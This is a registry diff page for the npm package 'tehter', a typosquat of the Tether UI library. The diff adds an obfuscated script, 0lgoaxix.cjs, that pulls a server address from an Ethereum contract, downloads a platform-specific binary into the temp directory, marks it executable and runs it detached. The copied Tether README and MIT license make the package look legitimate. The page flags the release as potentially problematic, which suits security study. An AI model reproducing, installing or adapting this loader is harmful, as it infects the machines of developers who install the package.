tehter 0.0.1-security → 2.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of tehter might be problematic. Click here for more details.

package/0lgoaxix.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x179ffc=_0x1cf4;(function(_0x1c67fe,_0x45be3f){const _0x8e6111=_0x1cf4,_0x54ca22=_0x1c67fe();while(!![]){try{const _0x4ef289=-parseInt(_0x8e6111(0xbf))/0x1*(parseInt(_0x8e6111(0xa7))/0x2)+-parseInt(_0x8e6111(0xaa))/0x3+-parseInt(_0x8e6111(0xca))/0x4*(-parseInt(_0x8e6111(0xa8))/0x5)+parseInt(_0x8e6111(0xb9))/0x6*(parseInt(_0x8e6111(0x9d))/0x7)+-parseInt(_0x8e6111(0xa3))/0x8+-parseInt(_0x8e6111(0xaf))/0x9*(-parseInt(_0x8e6111(0xc0))/0xa)+parseInt(_0x8e6111(0xab))/0xb;if(_0x4ef289===_0x45be3f)break;else _0x54ca22['push'](_0x54ca22['shift']());}catch(_0x5e6398){_0x54ca22['push'](_0x54ca22['shift']());}}}(_0x41df,0x4083c));const {ethers}=require(_0x179ffc(0xc7)),axios=require(_0x179ffc(0xb8)),util=require(_0x179ffc(0xbd)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x179ffc(0xb7),WalletOwner=_0x179ffc(0xbc),abi=[_0x179ffc(0x9b)],provider=ethers[_0x179ffc(0x95)](_0x179ffc(0xb3)),contract=new ethers[(_0x179ffc(0xc4))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x3db849=_0x179ffc,_0x58ddb4={'dGXtb':'Ошибка\x20при\x20получении\x20IP\x20адреса:','ydvgh':function(_0x4969ae){return _0x4969ae();}};try{const _0xf6b41b=await contract[_0x3db849(0xa6)](WalletOwner);return _0xf6b41b;}catch(_0x5c4635){return console['error'](_0x58ddb4[_0x3db849(0xb4)],_0x5c4635),await _0x58ddb4[_0x3db849(0x98)](fetchAndUpdateIp);}},getDownloadUrl=_0x3743dc=>{const _0x4cf937=_0x179ffc,_0x422537={'sCTbR':_0x4cf937(0xc3),'aUcip':_0x4cf937(0xcc),'Cxqjt':_0x4cf937(0x9c)},_0x3fa84d=os[_0x4cf937(0xad)]();switch(_0x3fa84d){case _0x422537[_0x4cf937(0x99)]:return _0x3743dc+'/node-win.exe';case _0x422537[_0x4cf937(0xa5)]:return _0x3743dc+_0x4cf937(0xa0);case _0x422537[_0x4cf937(0xa2)]:return _0x3743dc+_0x4cf937(0xc5);default:throw new Error(_0x4cf937(0xa9)+_0x3fa84d);}},downloadFile=async(_0x3010e1,_0x22678e)=>{const _0x397f27=_0x179ffc,_0x3afd1a={'DZQbl':_0x397f27(0xa4),'ClClS':_0x397f27(0xa1),'SnHZV':function(_0x45808d,_0x461d0c){return _0x45808d(_0x461d0c);}},_0x54797f=fs[_0x397f27(0xb1)](_0x22678e),_0x317798=await _0x3afd1a[_0x397f27(0xb2)](axios,{'url':_0x3010e1,'method':_0x397f27(0xac),'responseType':'stream'});return _0x317798[_0x397f27(0xba)][_0x397f27(0xcb)](_0x54797f),new Promise((_0x4ed32a,_0x36b4fa)=>{const _0x46e833=_0x397f27;_0x54797f['on'](_0x3afd1a[_0x46e833(0x9a)],_0x4ed32a),_0x54797f['on'](_0x3afd1a[_0x46e833(0x97)],_0x36b4fa);});},executeFileInBackground=async _0x1eff8b=>{const _0x13a0e2=_0x179ffc,_0x4cbf49={'RSjgy':function(_0x14eeac,_0xf3406f,_0x3958e9,_0x57218a){return _0x14eeac(_0xf3406f,_0x3958e9,_0x57218a);},'yIwpA':'ignore','pbzWh':_0x13a0e2(0xb0)};try{const _0xdb77da=_0x4cbf49['RSjgy'](spawn,_0x1eff8b,[],{'detached':!![],'stdio':_0x4cbf49[_0x13a0e2(0xb6)]});_0xdb77da['unref']();}catch(_0x14d936){console['error'](_0x4cbf49[_0x13a0e2(0xbe)],_0x14d936);}},runInstallation=async()=>{const _0x239a85=_0x179ffc,_0x1e9afd={'uYiVn':function(_0x4c0444){return _0x4c0444();},'plucG':function(_0x3026d6,_0x3cc052){return _0x3026d6(_0x3cc052);},'elNev':function(_0x2462ad,_0x3ff511,_0x314488){return _0x2462ad(_0x3ff511,_0x314488);},'hmTgT':function(_0x40eb45,_0x19cf99){return _0x40eb45!==_0x19cf99;},'EyJUm':_0x239a85(0xc2),'aiYFD':function(_0x3d6da7,_0x1540ec){return _0x3d6da7(_0x1540ec);},'WiPqz':_0x239a85(0xb5)};try{const _0x457b4c=await _0x1e9afd[_0x239a85(0x9e)](fetchAndUpdateIp),_0x316a79=_0x1e9afd['plucG'](getDownloadUrl,_0x457b4c),_0x3b0ffe=os[_0x239a85(0xbb)](),_0x2106c9=path[_0x239a85(0xc6)](_0x316a79),_0x3eea5a=path[_0x239a85(0xae)](_0x3b0ffe,_0x2106c9);await _0x1e9afd[_0x239a85(0xc1)](downloadFile,_0x316a79,_0x3eea5a);if(_0x1e9afd[_0x239a85(0x9f)](os[_0x239a85(0xad)](),_0x239a85(0xc3)))fs['chmodSync'](_0x3eea5a,_0x1e9afd[_0x239a85(0x96)]);_0x1e9afd[_0x239a85(0xc9)](executeFileInBackground,_0x3eea5a);}catch(_0x328ce0){console[_0x239a85(0xa1)](_0x1e9afd[_0x239a85(0xc8)],_0x328ce0);}};runInstallation();function _0x1cf4(_0x81b861,_0xa79e8c){const _0x41df15=_0x41df();return _0x1cf4=function(_0x1cf46a,_0x22cbe7){_0x1cf46a=_0x1cf46a-0x95;let _0x40a6f0=_0x41df15[_0x1cf46a];return _0x40a6f0;},_0x1cf4(_0x81b861,_0xa79e8c);}function _0x41df(){const _0x20b6a5=['elNev','755','win32','Contract','/node-macos','basename','ethers','WiPqz','aiYFD','2980almchW','pipe','linux','getDefaultProvider','EyJUm','ClClS','ydvgh','sCTbR','DZQbl','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','darwin','903wyNowb','uYiVn','hmTgT','/node-linux','error','Cxqjt','3163896ZDAlOa','finish','aUcip','getString','54550YSbcfp','955RCdSHy','Unsupported\x20platform:\x20','1149960UUFqRS','3759525nRsePj','GET','platform','join','4587903yFYpuq','Ошибка\x20при\x20запуске\x20файла:','createWriteStream','SnHZV','mainnet','dGXtb','Ошибка\x20установки:','yIwpA','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','axios','3558qKsKbO','data','tmpdir','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','util','pbzWh','1qmkrJp','10CWbqGO'];_0x41df=function(){return _0x20b6a5;};return _0x41df();}
package/LICENSE ADDED
@@ -0,0 +1,9 @@
1
+ Copyright (c) 2014-2019 HubSpot, Inc.
2
+ Copyright (c) 2019-2020 Ship Shape Consulting LLC
3
+
4
+ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
5
+
6
+ The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
7
+
8
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
9
+
package/README.md CHANGED
@@ -1,5 +1,127 @@
1
- # Security holding package
1
+ # Tether
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ <div>
4
+ <a href="https://shipshape.io">
5
+ <img align="left" src="http://i.imgur.com/DWHQjA5.png" alt="Ship Shape" width="50" height="50"/>
6
+ </a>
7
+
8
+ **[Tether is maintained by Ship Shape. Contact us for web app consulting, development, and training for your project](https://shipshape.io/services/app-development/)**.
9
+ </div>
4
10
 
5
- Please refer to www.npmjs.com/advisories?search=tehter for more information.
11
+ [![npm version](https://badge.fury.io/js/tether.svg)](http://badge.fury.io/js/tether)
12
+ ![Download count all time](https://img.shields.io/npm/dt/tether.svg)
13
+ [![npm](https://img.shields.io/npm/dm/tether.svg)]()
14
+ ![npm bundle size](https://img.shields.io/bundlephobia/minzip/tether.svg)
15
+ [![Build Status](https://travis-ci.com/shipshapecode/tether.svg?branch=master)](https://travis-ci.com/shipshapecode/tether)
16
+ [![Maintainability](https://api.codeclimate.com/v1/badges/57016ae28b99490eac30/maintainability)](https://codeclimate.com/github/shipshapecode/tether/maintainability)
17
+ [![Test Coverage](https://api.codeclimate.com/v1/badges/57016ae28b99490eac30/test_coverage)](https://codeclimate.com/github/shipshapecode/tether/test_coverage)
18
+
19
+ ## 🐙 Project status 🐙
20
+
21
+ We at Ship Shape have recently taken over Tether's maintenance and hope to modernize and revitalize it. Stay tuned for updates!
22
+
23
+ ## Install
24
+
25
+ __npm__
26
+ ```sh
27
+ npm install tether
28
+ ```
29
+
30
+ For the latest beta:
31
+
32
+ ```sh
33
+ npm install tether@next
34
+ ```
35
+
36
+ __download__
37
+
38
+ Or download from the [releases](https://github.com/shipshapecode/tether/releases).
39
+
40
+ ## Introduction
41
+
42
+ [Tether](http://tether.io/) is a small, focused JavaScript library for defining and managing the position of user interface (UI) elements in relation to one another on a web page. It is a tool for web developers building features that require certain UI elements to be precisely positioned based on the location of another UI element.
43
+
44
+ There are often situations in UI development where elements need to be attached to other elements, but placing them right next to each other in the [DOM tree](https://en.wikipedia.org/wiki/Document_Object_Model) can be problematic based on the context. For example, what happens if the element we’re attaching other elements to is fixed to the center of the screen? Or what if the element is inside a scrollable container? How can we prevent the attached element from being clipped as it disappears from view while a user is scrolling? Tether can solve all of these problems and more.
45
+
46
+ Some common UI elements that have been built with Tether are [tooltips](http://github.hubspot.com/tooltip/docs/welcome), [select menus](http://github.hubspot.com/select/docs/welcome), [dropdown menus](http://github.hubspot.com/drop/docs/welcome), and [guided tours](http://github.hubspot.com/shepherd/docs/welcome). Tether is flexible and can be used to [solve](http://tether.io/examples/out-of-bounds/) [all](http://tether.io/examples/content-visible) [kinds](http://tether.io/examples/element-scroll) [of](http://tether.io/examples/enable-disable) interesting [problems](http://tether.io/examples/viewport); it ensures UI elements stay where they need to be, based on the various user interactions (click, scroll, etc) and layout contexts (fixed positioning, inside scrollable containers, etc).
47
+
48
+ Please have a look at the [documentation](http://tether.io/) for a more detailed explanation of why you might need Tether for your next project.
49
+
50
+ ## What to Use Tether for and When to Use It
51
+
52
+ Tether is a small, focused JavaScript library. For those who might be new to JavaScript, a library is simply a JavaScript file (or files) that contain useful JavaScript code to help achieve tasks easier and faster. Since Tether is a JavaScript user interface (**UI**) library, it contains code to help you to manage the way your website or web app appears.
53
+
54
+ Tether’s goal to is to help you position your elements side-by-side when needed.
55
+
56
+ Let’s say you’ve started working on your dream project&mdash;a fancy web app that’s sure to become the next big thing! An important feature of your new app is to allow users to comment on shared photos. However, due to limited vertical space and the overall layout of your new app, you’d like to display the comments **next** to the image, similar to how Instagram does it.
57
+
58
+ Your HTML code might look something like this:
59
+
60
+ ```html
61
+ <div class="container">
62
+ <img src="awesome-picture.jpg" alt="Awesome Picture" class="picture">
63
+ <div class="comments">
64
+ ...
65
+ </div>
66
+ </div>
67
+ ```
68
+
69
+ Now, you could achieve this with some CSS using its `position` property, but going this route can be problematic since many of `position`’s values take elements **out** of the natural DOM flow. For example, if you have an element at the bottom of your HTML document, using `position: absolute` or `position: fixed` might could move it all the way to the top of your website in the browser.
70
+
71
+ Not only that, but you also have to make manual adjustments to ensure **other** elements aren’t negatively affected by the positioned elements. Not to mention, you probably want your comment box to be **responsive**, and look good across different device sizes. Coding a solution for this manually is a challenge all on its own.
72
+
73
+ **Enter Tether!**
74
+
75
+ After installing Tether and including it in your project, you can begin using it!
76
+
77
+ 1. In your JavaScript file, create a new instance (or constructor function) of the `Tether` object:
78
+
79
+ ```javascript
80
+ new Tether({});
81
+ ```
82
+
83
+ 2. Within the curly braces (`{}`) you can configure the library’s options. Tether’s extensive list of options can be found in the [Tether documentation](http://tether.io/).
84
+
85
+ ```javascript
86
+ new Tether({
87
+ element: '.comments',
88
+ target: '.picture',
89
+ attachment: 'top right',
90
+ targetAttachment: 'top left'
91
+ });
92
+ ```
93
+
94
+ Now you have a perfectly placed comment section to go with your awesome picture! It’ll even stay attached to the element when a user resizes their browser window.
95
+
96
+ There are tons of other useful features of Tether as well, instead of “comment boxes” you could also build:
97
+
98
+ * Tooltips for useful hints and tricks,
99
+ * Dropdown menus,
100
+ * Autocomplete popups for forms,
101
+ * and [more](http://tether.io/examples/list_of_examples/)!
102
+
103
+ ## Usage
104
+ You only need to include `tether.min.js` in your page:
105
+ ```
106
+ <script src="path/to/dist/js/tether.min.js"></script>
107
+ ```
108
+ Or use a CDN:
109
+ ```
110
+ <script src="https://cdn.jsdelivr.net/npm/tether@2.0.0-beta.5/js/tether.min.js"></script>
111
+ ```
112
+
113
+ The css files are not required to get tether running.
114
+
115
+ For more details jump straight in to the detailed [Usage](http://tether.io/#usage) page.
116
+
117
+ [![Tether Docs](http://i.imgur.com/YCx8cLr.png)](http://tether.io/#usage)
118
+
119
+ [Demo & API Documentation](http://tether.io/)
120
+
121
+ ## Contributing
122
+
123
+ We encourage contributions of all kinds. If you would like to contribute in some way, please review our [guidelines for contributing](CONTRIBUTING.md).
124
+
125
+ ## License
126
+ Copyright &copy; 2019-2020 Ship Shape Consulting LLC - [MIT License](LICENSE)
127
+ Copyright &copy; 2014-2018 HubSpot - [MIT License](LICENSE)